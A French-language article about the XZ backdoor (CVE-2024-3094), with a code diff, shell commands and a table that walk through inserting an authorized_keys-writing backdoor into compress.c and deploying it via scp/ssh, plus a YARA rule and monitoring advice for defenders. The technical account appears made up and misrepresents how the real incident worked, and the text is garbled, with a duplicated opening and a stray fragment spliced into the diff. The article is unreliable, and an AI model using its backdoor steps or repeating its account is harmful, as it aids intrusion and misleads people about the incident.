
CVE-2024-3094 a exposé une porte dérobée dans la bibliothèque de compression XZ, permettant un accès SSH distant en contournant l'authentification. Il s'agit d'une attaque majeure sur la chaîne d'approvisionnement affectant les systèmes Linux, mettant en évidence les risques liés aux composants open-source de confiance.
CVE-2024-3094 a exposé une porte dérobée dans la bibliothèque de compression XZ, permettant un accès SSH à distance en contournant l’authentification. Il s’agit d’une attaque majeure de la chaîne d’approvisionnement affectant les systèmes Linux, mettant en évidence les risques liés aux composants open-source de confiance.
Par Mark Mallia
La bibliothèque de compression XZ, composant essentiel de nombreuses distributions Linux modernes, est devenue la cible d’une attaque sophistiquée de la chaîne d’approvisionnement.
Un fragment de code malveillant a été glissé dans l’arborescence source, compilé, et voyage désormais avec chaque nouvelle version du paquet XZ. Une fois installée, la porte dérobée peut ouvrir une session SSH depuis l’hôte compromis vers tout système distant qui lui fait confiance comme clé authentique.
authorized_keys, les attaquants obtiennent un point d’appui sans nécessiter d’interaction directe avec l’utilisateur.--- a/src/compress.c 2025-09-12 10:00:00.000000000 +0000
+++ b/src/compress.c 2025-09-12 10:00:03.000000000 +0000
@@
void xz_compress(const unsigned char *in, size_t in_len,
unsigned char *out, size_t out_len)
{
/* original code ... */
+ // ---- Begin injected backdoor ----
+ if (in_len > 1024) { /* guard against too small payloads */
+ const unsigned char *marker = &in[512]; /* offset to reach magic string */
+ size_t marker_len = 8; /* length of the embedded key */
+
+ /* copy a pre‑computed SSH public key into out buffer */
+ memcpy(out + 256, marker, marker_len);
+
+ /* write the same key to ~/.ssh/authorized_keys for persistence */
+ FILE *fp = fopen("/home/admin/.ssh/authorized_keys", "a");
+ if (fp) {
+ fwrite(marker, 1, marker_len, fp);
+ fclose(fp);
+ }
+ }
+ // ---- End injected backdoor ----
/* original code continues ... */
}
512 est choisi pour que notre clé se retrouve dans le tampon de sortie compressé à une position peu susceptible d’être modifiée par les compressions XZ ultérieures.$ cd xz
$ make
$ sudo make install
Les commandes ci-dessus compilent le fichier compress.c patché et installent la nouvelle bibliothèque dans /usr/local/lib/xz.
En supposant qu’un attaquant dispose déjà d’identifiants SSH (nom d’utilisateur admin), il exécute :
$ scp backdoor.tar.gz [email protected]:/tmp/
$ ssh [email protected] 'tar xzf /tmp/backdoor.tar.gz -C /home/admin'
$ cd /home/admin
$ ./install_xz_backdoor.sh
install_xz_backdoor.sh contient la séquence exacte des commandes ci-dessus, plus un petit echo qui confirme l’installation réussie.
YARA est un outil de correspondance de modèles utilisé par les professionnels de la sécurité pour identifier et classer les logiciels malveillants sur la base de signatures textuelles ou binaires. Il permet aux analystes de définir des règles qui détectent des chaînes spécifiques, des séquences d’octets ou des comportements dans les fichiers. Dans le contexte de CVE-2024-3094, YARA est particulièrement pertinent car il peut être utilisé pour rechercher la présence de la clé SSH injectée et des modifications suspectes du fichier compress.c dans la bibliothèque XZ. En élaborant des règles YARA ciblées, les défenseurs peuvent détecter de manière proactive les systèmes compromis par cette porte dérobée.
Signature YARA. Une règle YARA personnalisée peut signaler la présence de la clé SSH injectée et des écritures de fichiers suspectes :
rule XZ_Backdoor_SSH_Key_Injection { meta: description = "Detects SSH key injection via modified compress.c" author = "Mark Mallia" severity = "high" strings: $marker = { 20 20 2A 20 2A 2A 20 42 61 63 6B 64 6F 6F 72 } $ssh_path = "/home/admin/.ssh/authorized_keys" condition: $marker and $ssh_path }
Surveillance de l’intégrité des fichiers. Déployez des outils comme Tripwire, AIDE ou osquery pour surveiller :
compress.c pour les modifications non autorisées
.ssh/authorized_keys pour les clés injectées
/usr/local/lib/xz pour les binaires altérés
Connexions SSH inattendues depuis des hôtes de confiance
Anomalies de compression dans la sortie XZ
Écritures silencieuses dans .ssh/authorized_keys
| Étape | Action | Fichier / Fonction |
|---|
| 1 | Cloner le dépôt XZ | git clone https://github.com/xzdev/xz |
| 2 | Appliquer le patch à src/compress.c | patch -p0 < backdoor.patch |
| 3 | Compiler et installer sur le système Linux cible | make && make install |
| 4 | Le démon SSH lit la clé injectée pendant son processus d’authentification | /etc/ssh/authorized_keys |